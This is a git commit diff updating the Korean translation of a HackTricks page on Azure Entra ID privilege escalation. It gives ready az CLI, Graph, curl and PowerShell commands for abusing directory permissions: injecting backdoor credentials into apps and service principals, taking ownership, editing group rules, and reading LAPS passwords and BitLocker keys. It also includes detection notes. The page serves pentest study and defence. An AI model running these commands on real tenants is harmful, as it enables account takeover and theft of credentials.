mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+82
-51
@@ -3,15 +3,15 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> **모든 세분화된 권한**이 Entra ID의 내장 roles에 있는 것이라도 **custom roles에서 사용 가능하도록 적합한 것은 아닙니다.**
|
||||
> **모든 세분화된 권한**이 Entra ID의 내장 roles에 있는 것은 **custom roles**에 사용될 수 있는 것은 아님을 참고하세요.
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
이 role에는 principals에 roles를 할당하고 roles에 더 많은 permissions를 부여하는 데 필요한 세분화된 permissions가 포함되어 있습니다. 이 두 작업 모두 악용되어 privileges를 상승시킬 수 있습니다.
|
||||
이 role에는 principals에게 roles를 할당하고 roles에 더 많은 permissions를 부여하는 데 필요한 세분화된 permissions가 포함되어 있습니다. 두 작업 모두 권한 상승에 악용될 수 있습니다.
|
||||
|
||||
- 유저에게 role 할당:
|
||||
- 사용자에게 role 할당:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
@@ -27,7 +27,7 @@ az rest --method POST \
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
- 역할에 더 많은 permissions 추가하기:
|
||||
- role에 권한을 더 추가하기:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
@@ -52,22 +52,53 @@ az rest --method PATCH \
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
이 권한은 공격자가 기존 애플리케이션에 **credentials를 추가**(password 또는 certificate)할 수 있게 합니다. 해당 애플리케이션이 privileged permissions를 가지고 있다면, 공격자는 그 application으로 인증하여 그 권한들을 획득할 수 있습니다.
|
||||
이것은 공격자가 기존 applications에 **credentials를 추가**(passwords 또는 certificates)할 수 있게 합니다. application이 privileged permissions을 가지고 있다면, 공격자는 해당 application으로 authenticate하여 그 privileges를 획득할 수 있습니다.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/allProperties/update`
|
||||
|
||||
이 permission은 **단일 테넌트** application registration(`signInAudience = AzureADMyOrg`)의 **모든 쓰기 가능한 속성**을 update할 수 있게 하며, `passwordCredentials`와 `keyCredentials`도 포함됩니다. catalog에서는 `IsPrivileged: true`로 표시되지만, 어떤 built-in role에도 존재하지 않습니다 — 보통 admin이 "우리 내부 apps를 관리하게 하려고" 만든 **custom roles**에서 거의 전적으로 나타나는데, subtype `.myOrganization`가 이 action을 정확히 privileged Microsoft Graph permissions를 보유할 가능성이 가장 높은 app 집합에만 scope 한다는 사실을 깨닫지 못한 경우가 많습니다.
|
||||
|
||||
- privileged Microsoft Graph permissions가 consented된 apps를 enumerate:
|
||||
```bash
|
||||
# SPs with at least one Microsoft Graph app role assigned
|
||||
GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
|
||||
--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
|
||||
-o table
|
||||
|
||||
# Resolve a RoleId to the human-readable permission name
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 \
|
||||
--query "appRoles[?id=='<RoleId>'].value" -o tsv
|
||||
```
|
||||
- 대상이 single-tenant인지 확인합니다 (`.myOrganization` subtype scope 내부):
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')" \
|
||||
--query "{audience:signInAudience, name:displayName}"
|
||||
# audience must be "AzureADMyOrg"
|
||||
```
|
||||
- credential를 target app에 주입 — chain에서 유일한 privileged step:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/applications(appId='<APP_ID>')/addPassword" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"passwordCredential":{"displayName":"backdoor"}}'
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
이 권한은 `applications/credentials/update`와 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션에만 범위가 제한됩니다.
|
||||
이 권한은 `applications/credentials/update`와 같은 작업을 허용하지만, single-directory applications로 범위가 제한됩니다.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
자신을 owner로 추가하면 공격자는 credentials와 permissions를 포함해 application을 조작할 수 있습니다.
|
||||
자신을 owner로 추가하면, 공격자는 credentials와 permissions를 포함해 application을 조작할 수 있습니다.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -77,9 +108,9 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
공격자는 테넌트 사용자들이 사용 중인 애플리케이션에 redirect URI를 추가한 뒤, 새 redirect URL을 사용하는 login URLs를 그들과 공유하여 토큰을 탈취할 수 있습니다. 사용자가 이미 해당 애플리케이션에 로그인한 상태였다면, 사용자가 아무것도 수락할 필요 없이 authentication이 자동으로 진행됩니다.
|
||||
공격자는 테넌트 사용자가 사용 중인 applications에 redirect URI를 추가한 다음, 새 redirect URL을 사용하는 login URL을 그들에게 공유하여 토큰을 훔칠 수 있습니다. 사용자가 이미 application에 로그인한 상태였다면, 아무것도 수락할 필요 없이 authentication이 자동으로 진행됩니다.
|
||||
|
||||
또한 application이 요청하는 permissions를 변경하여 더 많은 permissions를 얻는 것도 가능하지만, 이 경우 사용자는 모든 permissions에 대한 prompt를 다시 수락해야 합니다.
|
||||
또한 application이 요청하는 permissions를 변경해 더 많은 permissions를 얻는 것도 가능합니다. 하지만 이 경우에는 사용자가 모든 permissions에 대한 승인을 요청하는 prompt를 다시 수락해야 합니다.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
@@ -88,11 +119,11 @@ az ad app update --id <app-id> --web-redirect-uris "https://original.com/callbac
|
||||
```
|
||||
### Applications Privilege Escalation
|
||||
|
||||
**[이 게시물](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명하듯이** 기본적으로 **`Application`** 타입의 **API permissions**를 할당받은 기본 applications를 찾는 것은 매우 흔했습니다. **`Application`** 타입의 API Permission(Entra ID console에서 그렇게 부름)은 해당 application이 user context 없이(앱에 user login 없이), 그리고 이를 허용하기 위한 Entra ID roles 없이 API에 access하고 actions를 수행할 수 있음을 의미합니다. 따라서 **모든 Entra ID tenant에서 높은 권한의 applications를 찾는 것은 매우 흔합니다**.
|
||||
**[이 글](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명하듯이** 기본 applications에 **API permissions** 유형 **`Application`** 이 할당되어 있는 경우를 아주 흔하게 찾을 수 있었습니다. 유형 **`Application`** 의 API Permission(Entra ID console에서 부르는 방식)은 application이 user context 없이(앱에 user login 없이), 그리고 이를 허용하기 위한 Entra ID roles 없이도 API에 접근하고 action을 수행할 수 있음을 의미합니다. 따라서 **모든 Entra ID tenant에서 권한이 높은 applications를 찾는 경우가 매우 흔합니다**.
|
||||
|
||||
그다음, attacker가 application의 credentials(secret o certificate)을 **update**할 수 있게 해주는 어떤 permission/role이라도 가지고 있다면, attacker는 새 credential을 생성한 뒤 이를 사용해 **application으로 authenticate**할 수 있고, application이 가진 모든 permissions를 획득할 수 있습니다.
|
||||
그다음, attacker가 application의 credentials(secret o certificate)를 **update**할 수 있는 어떤 permission/role이라도 가지고 있다면, attacker는 새 credential을 생성한 뒤 이를 사용해 **application으로 authenticate**할 수 있고, application이 가진 모든 permissions를 얻을 수 있습니다.
|
||||
|
||||
언급된 blog는 일반적인 Microsoft default applications의 일부 **API permissions**를 공유하지만, 이 보고서 이후 얼마 지나지 않아 Microsoft가 이 issue를 수정했고 이제는 더 이상 Microsoft applications로 login할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 privileges를 가진 custom applications**를 찾는 것은 가능합니다.
|
||||
언급된 blog는 일반적인 Microsoft default applications의 **API permissions**를 일부 공유했지만, 이 report 이후 얼마 지나지 않아 Microsoft가 이 issue를 수정해서 이제는 Microsoft applications로 login할 수 없게 되었습니다. 하지만 여전히 **악용될 수 있는 높은 privileges를 가진 custom applications**를 찾는 것은 가능합니다.
|
||||
|
||||
application의 API permissions를 enumerate하는 방법:
|
||||
```bash
|
||||
@@ -125,7 +156,7 @@ az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>모든 application API permissions를 찾고 Microsoft-owned APIs를 표시</summary>
|
||||
<summary>모든 application API permissions를 찾고 Microsoft-owned APIs를 표시합니다</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
@@ -241,12 +272,12 @@ done < <(jq -c '.[]' <<<"$apps_json")
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
이 권한은 공격자가 기존 service principals에 credentials를 추가할 수 있게 합니다. 해당 service principal에 elevated privileges가 있다면, 공격자는 그 privileges를 그대로 사용할 수 있습니다.
|
||||
이 권한은 공격자가 기존 service principal에 credentials를 추가할 수 있게 합니다. 해당 service principal에 elevated privileges가 있다면, 공격자는 그 privileges를 가장할 수 있습니다.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 새로 생성된 password는 web console에 표시되지 않으므로, service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\
|
||||
> 새로 생성된 password는 web console에 표시되지 않으므로, service principal에 대한 persistence를 유지하는 stealth한 방법이 될 수 있습니다.\
|
||||
> API에서는 다음으로 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
`"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` 오류가 발생하면, **SP의 passwordCredentials property를 수정할 수 없기 때문**이며 먼저 unlock해야 합니다. 이를 위해서는 다음을 실행할 수 있게 해주는 permission (`microsoft.directory/applications/allProperties/update`)이 필요합니다:
|
||||
@@ -259,28 +290,28 @@ az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-o
|
||||
|
||||
This turns a bad Entra Agent ID role assignment into both:
|
||||
|
||||
- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
|
||||
- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents
|
||||
- **Persistence**: 새로운 `passwordCredential`가 제거될 때까지 blueprint에 남아있음
|
||||
- **Privilege escalation**: 낮은 신뢰도/dev agent가 다른 높은 신뢰도 blueprint로 넘어가서 그 child agents처럼 동작 가능
|
||||
|
||||
Typical dangerous paths are:
|
||||
|
||||
- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
|
||||
- A compromised owner/sponsor/admin able to manage the blueprint
|
||||
- Theft of an existing blueprint secret/certificate
|
||||
- **`AgentIdentityBlueprint.AddRemoveCreds.All`** 권한이 있는 compromised agent identity
|
||||
- blueprint를 관리할 수 있는 compromised owner/sponsor/admin
|
||||
- 기존 blueprint secret/certificate의 탈취
|
||||
|
||||
대상 blueprint에 새 secret을 추가합니다:
|
||||
대상 blueprint에 새로운 secret을 추가:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
|
||||
```
|
||||
또는 Microsoft Graph PowerShell로:
|
||||
또는 Microsoft Graph PowerShell을 사용하여:
|
||||
```powershell
|
||||
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
|
||||
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
|
||||
```
|
||||
새 자격 증명이 허용되면 **blueprint principal**로 인증하고 Agent ID token exchange를 악용한다. 첫 번째 요청은 blueprint credential을 사용하고 **`fmi_path`**를 대상 agent identity로 설정한다. 반환된 token은 이후 해당 agent identity에 대한 Microsoft Graph token을 얻기 위해 **JWT bearer `client_assertion`**으로 재사용된다.
|
||||
새 자격 증명이 수락되면 **blueprint principal**로 인증하고 Agent ID token exchange를 악용하세요. 첫 번째 요청은 blueprint credential을 사용하며 **`fmi_path`**를 대상 agent identity로 설정합니다. 반환된 token은 이후 **JWT bearer `client_assertion`**으로 재사용되어 해당 agent identity에 대한 Microsoft Graph token을 획득합니다.
|
||||
```bash
|
||||
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
|
||||
--data-urlencode 'scope=https://graph.microsoft.com/.default'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> **dev** blueprint 또는 그 하위 agent가 **prod** blueprint에 credentials를 추가할 수 있다면, attacker는 예상된 blueprint/agent trust boundary를 넘어 target agent infrastructure에 대한 지속적인 access를 얻게 됩니다.
|
||||
> **dev** blueprint 또는 그 자식 agent가 **prod** blueprint에 credentials를 추가할 수 있다면, attacker는 예상된 blueprint/agent trust boundary를 넘어 target agent infrastructure에 대한 지속적인 access를 얻게 됩니다.
|
||||
|
||||
Quick validation / scoping:
|
||||
```powershell
|
||||
@@ -315,28 +346,28 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
|
||||
```
|
||||
Hunting notes:
|
||||
|
||||
- [Az - Monitoring](../../az-services/az-monitoring.md)에서 **`Update application – Certificates and secrets management`**를 찾기
|
||||
- 시간, service principal ID, user-agent, IP, 그리고 `SignInActivityId` / `UniqueTokenIdentifier`를 사용해 **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, **`AADServicePrincipalSignInLogs`**를 상호 연관 분석하기
|
||||
- `MicrosoftGraphActivityLogs`에서 `RequestUri`가 **`/applications/<id>/microsoft.graph.addPassword`**로 끝나는지, 그리고 `Roles`에 **`AgentIdentityBlueprint.AddRemoveCreds.All`**가 포함되는지 확인하기
|
||||
- `AADServicePrincipalSignInLogs`에서 `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`를 검토하고, 새 키가 나중에 실제로 사용되었는지 확인하기
|
||||
- [Az - Monitoring](../../az-services/az-monitoring.md)에서 **`Update application – Certificates and secrets management`**를 찾아라
|
||||
- 시간, service principal ID, user-agent, IP, `SignInActivityId` / `UniqueTokenIdentifier`를 사용해 **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, **`AADServicePrincipalSignInLogs`**를 상호 연관시켜라
|
||||
- `MicrosoftGraphActivityLogs`에서 `RequestUri`가 **`/applications/<id>/microsoft.graph.addPassword`**로 끝나는지, 그리고 `Roles`에 **`AgentIdentityBlueprint.AddRemoveCreds.All`**이 포함되는지 확인하라
|
||||
- `AADServicePrincipalSignInLogs`에서 `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`을 검토하고, 새 키가 나중에 사용되었는지 확인하라
|
||||
|
||||
새로 추가된 secret이 인증에 사용되었는지 확인하기 위한 최소 KQL:
|
||||
새로 추가된 secret이 인증에 사용되었는지 확인하는 최소 KQL:
|
||||
```kusto
|
||||
AADServicePrincipalSignInLogs
|
||||
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
|
||||
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
|
||||
```
|
||||
이것은 일반적인 [application credential abuse](../../az-services/az-azuread.md#applications) 및 [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals)와 관련이 있지만, Entra Agent ID는 blueprint credential을 **다른 agent identity token**으로 교환할 수 있는 두 번째 단계를 추가합니다.
|
||||
이것은 일반적인 [application credential abuse](../../az-services/az-azuread.md#applications) 및 [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals)와 관련되어 있지만, Entra Agent ID는 blueprint credential을 **다른 agent identity token**으로 교환할 수 있는 두 번째 stage를 추가합니다.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
이 권한은 공격자가 기존 service principal에 credential을 추가할 수 있게 합니다. 해당 service principal이 elevated privileges를 가지고 있다면, 공격자는 그 권한을 가로챌 수 있습니다.
|
||||
이 권한은 공격자가 기존 service principal에 credentials를 추가할 수 있게 합니다. 해당 service principal에 elevated privileges가 있으면, 공격자는 그 privileges를 사용할 수 있습니다.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
applications와 마찬가지로, 이 permission은 service principal에 더 많은 owner를 추가할 수 있게 합니다. service principal을 소유하면 그 credentials와 permissions를 제어할 수 있습니다.
|
||||
applications와 마찬가지로, 이 권한은 service principal에 더 많은 소유자를 추가할 수 있게 해줍니다. service principal을 소유하면 해당 자격 증명과 권한을 제어할 수 있습니다.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
@@ -354,13 +385,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 새 owner를 추가한 후 제거하려고 했지만, API가 DELETE method를 지원하지 않는다고 응답했습니다. 실제로 owner를 삭제할 때 필요한 method가 DELETE인데도 말입니다. 따라서 요즘은 **owners를 제거할 수 없습니다**.
|
||||
> 새로운 owner를 추가한 후 제거하려고 했지만 API가 DELETE method를 지원하지 않는다고 응답했습니다. 실제로 owner를 삭제하려면 이 method를 사용해야 하는데도 말입니다. 그래서 요즘은 **owners를 제거할 수 없습니다**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
이 permissions는 service principals를 disable 및 enable할 수 있게 합니다. 공격자는 이 permission을 사용해, 어떤 식으로든 접근권을 얻을 수 있는 service principal을 enable하여 privilege escalation을 수행할 수 있습니다.
|
||||
이 permissions는 service principals를 disable하고 enable할 수 있게 합니다. 공격자는 이 permission을 사용해 어떤 방식으로든 access를 얻을 수 있는 service principal을 enable하여 privilege를 escalate할 수 있습니다.
|
||||
|
||||
이 technique에서는 공격자가 enabled service principal을 takeover하기 위해 추가 permissions가 필요하다는 점에 유의하세요.
|
||||
이 technique에서는 enabled service principal을 takeover하기 위해 추가 permissions가 더 필요하다는 점에 유의하세요.
|
||||
```bash
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -370,7 +401,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
이 권한들은 single sign-on용 자격 증명을 생성하고 가져올 수 있게 하며, 이를 통해 third-party applications에 접근할 수 있을 수 있습니다.
|
||||
이 권한들은 single sign-on에 대한 credentials를 생성하고 가져올 수 있게 하며, 이를 통해 third-party applications에 접근할 수 있을 수 있습니다.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -396,7 +427,7 @@ az rest --method POST \
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
이 권한은 privileged groups에 users를 추가할 수 있게 하며, 이로 인해 privilege escalation이 발생할 수 있습니다.
|
||||
이 권한은 privileged groups에 사용자를 추가할 수 있게 하며, 이로 인해 privilege escalation이 발생할 수 있습니다.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -404,7 +435,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
이 권한은 그룹의 owner가 될 수 있게 해줍니다. 그룹의 owner는 그룹 멤버십과 설정을 제어할 수 있어, 잠재적으로 그 그룹으로 권한 상승이 가능합니다.
|
||||
이 권한은 groups의 owner가 될 수 있게 합니다. group의 owner는 group membership과 settings를 제어할 수 있어, 잠재적으로 group으로 권한 상승이 가능합니다.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
@@ -413,13 +444,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
이 권한은 그룹에 멤버를 추가할 수 있게 합니다. 공격자는 자신이나 악의적인 계정을 privileged groups에 추가하여 elevated access를 얻을 수 있습니다.
|
||||
이 권한은 group에 member를 추가할 수 있게 합니다. 공격자는 자신이나 악성 account를 privileged group에 추가하여 elevated access를 부여받을 수 있습니다.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
이 권한은 dynamic group의 membership rule을 업데이트할 수 있게 한다. 공격자는 dynamic rules를 수정해 명시적 추가 없이 자신을 privileged groups에 포함시킬 수 있다.
|
||||
이 권한은 dynamic group의 membership rule을 update할 수 있게 한다. 공격자는 dynamic rules를 수정하여 명시적 추가 없이 자신을 privileged groups에 포함시킬 수 있다.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
@@ -434,7 +465,7 @@ az rest --method PATCH \
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
사용자가 자신의 속성을 수정하여 dynamic groups의 멤버로 추가되는 방식으로 privileges를 escalate할 수 있을 수도 있습니다. 자세한 내용은 다음을 확인하세요:
|
||||
사용자가 자신의 속성을 수정하여 dynamic groups의 구성원으로 추가되면서 privileges를 escalate할 수 있을지도 모릅니다. 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
@@ -444,7 +475,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
이 permission은 non-admin users의 password를 reset할 수 있게 하며, 이를 통해 잠재적인 attacker가 다른 users에 대해 privileges를 escalate할 수 있습니다. 이 permission은 custom roles에 할당할 수 없습니다.
|
||||
이 권한은 non-admin users의 password를 reset할 수 있게 하며, 이를 통해 공격자가 다른 users로 privileges를 escalate할 가능성이 생깁니다. 이 권한은 custom roles에 할당할 수 없습니다.
|
||||
```bash
|
||||
# Update user password
|
||||
userId="<user-id>"
|
||||
@@ -464,7 +495,7 @@ az rest --method PATCH \
|
||||
```
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
이 privilege는 user의 properties를 수정할 수 있게 해줍니다. properties 값에 따라 user를 추가하는 dynamic groups를 찾는 것은 흔한 일입니다. 따라서 이 permission은 user가 특정 dynamic group의 member가 되기 위해 필요한 property 값을 설정하게 해주어 privilege escalation을 할 수 있게 할 수 있습니다.
|
||||
이 권한은 사용자의 속성을 수정할 수 있게 해줍니다. 속성 값에 따라 사용자를 추가하는 dynamic groups를 흔히 볼 수 있으므로, 이 권한은 사용자가 특정 dynamic group의 멤버가 되기 위해 필요한 속성 값을 설정하게 하고 privileges를 escalare할 수 있게 할 수 있습니다.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
@@ -482,7 +513,7 @@ az rest --method PATCH \
|
||||
```
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
MFA를 요구하는 잘못 구성된 conditional access policies는 우회될 수 있으므로, 확인:
|
||||
MFA를 요구하는 잘못 구성된 conditional access policies는 우회될 수 있으므로 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
이 권한은 공격자가 자신을 devices의 owner로 지정하여 control을 얻거나 device-specific settings 및 data에 접근할 수 있게 합니다.
|
||||
이 권한은 공격자가 자신을 device의 owner로 지정하여 device-specific settings와 data에 대한 control 또는 access를 얻을 수 있게 합니다.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -503,7 +534,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
이 권한은 공격자가 자신의 계정을 디바이스와 연결하여 액세스를 얻거나 보안 정책을 우회할 수 있게 합니다.
|
||||
이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 합니다.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -514,7 +545,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
이 권한은 공격자가 Microsoft Entra joined devices의 백업된 local administrator 계정 credentials의 속성을 읽을 수 있게 하며, 여기에는 password가 포함됩니다
|
||||
이 권한은 공격자가 Microsoft Entra joined devices의 백업된 local administrator account credentials의 속성을 읽을 수 있게 하며, password를 포함합니다
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -529,7 +560,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
이 권한은 BitLocker 키에 접근할 수 있게 하며, 공격자가 드라이브를 복호화하여 데이터 기밀성을 침해할 수 있게 할 수 있습니다.
|
||||
이 권한은 BitLocker keys에 접근할 수 있게 하며, 공격자가 드라이브를 복호화할 수 있어 데이터 기밀성이 침해될 수 있습니다.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
@@ -540,7 +571,7 @@ recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
## 기타 흥미로운 permissions (TODO)
|
||||
## Other Interesting permissions (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
@@ -553,8 +584,8 @@ az rest --method GET \
|
||||
## References
|
||||
|
||||
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
|
||||
- [Microsoft Learn - Microsoft Entra Agent ID에서의 Agent identity blueprints](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - 자율 agents를 위한 인증 및 tokens 획득](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
- [Microsoft Learn - Microsoft Entra Agent ID의 Agent identity blueprints](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
|
||||
- [Microsoft Learn - autonomous agents를 위한 인증 및 토큰 획득](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user